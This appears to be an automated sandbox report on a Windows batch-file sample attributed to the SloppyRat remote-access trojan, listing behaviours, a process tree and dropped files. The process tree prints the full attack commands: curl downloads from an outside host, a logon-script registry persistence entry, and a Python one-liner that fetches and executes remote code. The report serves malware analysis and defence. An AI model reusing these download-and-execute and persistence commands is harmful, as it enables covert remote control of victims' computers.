Analysis
- geolocation tags
- user interaction
yes - max time kernel
1619s - max time network
1617s - platform
windows11-21h2_x64 - resource
win11-20260911-en - resource tags
- submitted
30/09/2026, 14:18
General
- Target configurated.dat.bat
- Size 1KB
- Sample260930-rmlbrassh1
- SHA256 0b44544f1d2315a7192014c32338ad9876048278b9374383e9716aba152bb8e4
Malware Config
Signatures
- Family: SloppyRat
SloppyRat is a Windows RAT written in C++.
- Downloads MZ/PE file 3 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 15 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- NTFS ADS 1 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\configurated.dat.bat"1⤵
- Executes a command shell one-liner
- NTFS ADS
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.exe" "https://tc-static-a9fea332.nyc3.digitaloceanspaces.com/media/7za.exe"2⤵
- Downloads MZ/PE file
-
-
C:\Windows\system32\curl.execurl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.dll" "https://tc-static-a9fea332.nyc3.digitaloceanspaces.com/media/7za.dll"2⤵
- Downloads MZ/PE file
-
-
C:\Windows\system32\curl.execurl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7zxa.dll" "https://tc-static-a9fea332.nyc3.digitaloceanspaces.com/media/7zxa.dll"2⤵
- Downloads MZ/PE file
-
-
C:\Windows\system32\curl.execurl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\_p19143.zip" "https://tc-static-a9fea332.nyc3.digitaloceanspaces.com/media/python-3.12.9-embed-amd64.zip"2⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\Users\Admin\AppData\Local\Microsoft\_p19143.zip" -C "C:\Users\Admin\AppData\Local\Microsoft\python-3.12.9-embed-amd64"2⤵
-
-
C:\Windows\system32\curl.execurl -sLfk -o "C:\Users\Admin\AppData\Local\Microsoft\python-3.12.9-embed-amd64\ms.py" "https://tc-static-a9fea332.nyc3.digitaloceanspaces.com/media/config.py"2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Microsoft\python-3.12.9-embed-amd64\pythonw.exe\" \"C:\Users\Admin\AppData\Local\Microsoft\python-3.12.9-embed-amd64\ms.py\"" /f2⤵
- Registers new Windows logon scripts automatically executed at logon.
-
-
C:\Users\Admin\AppData\Local\Microsoft\python-3.12.9-embed-amd64\pythonw.exe"C:\Users\Admin\AppData\Local\Microsoft\python-3.12.9-embed-amd64\pythonw.exe" -c "import urllib.request;exec(urllib.request.urlopen('https://tc-static-a9fea332.nyc3.digitaloceanspaces.com/media/config.py').read())"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe"C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications1⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
_p19143.zip
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_ssl.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
python3.DLL
python312._pth
python312.dll
python312.zip
pythonw.exe
select.pyd
unicodedata.pyd
loader.log
loader.log
poly_diag.log
memory/2236-151-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-125-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-155-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-153-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-121-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-149-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-147-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-145-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-141-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-137-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-135-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-133-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-131-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-94-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-127-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-129-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-123-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-143-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-139-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-119-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-180-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-91-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-181-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/2236-76-0x000001A2381E0000-0x000001A238387000-memory.dmp
memory/6060-740-0x000001C8AC860000-0x000001C8AC88C000-memory.dmp
memory/6060-741-0x000001C8ACDB0000-0x000001C8ACDBA000-memory.dmp
memory/6060-742-0x000001C8ACDE0000-0x000001C8ACDE8000-memory.dmp
memory/6060-744-0x000001C8C9AB0000-0x000001C8C9B58000-memory.dmp
memory/6060-745-0x000001C8C6EC0000-0x000001C8C6EE2000-memory.dmp
memory/6060-746-0x000001C8C6EF0000-0x000001C8C6F04000-memory.dmp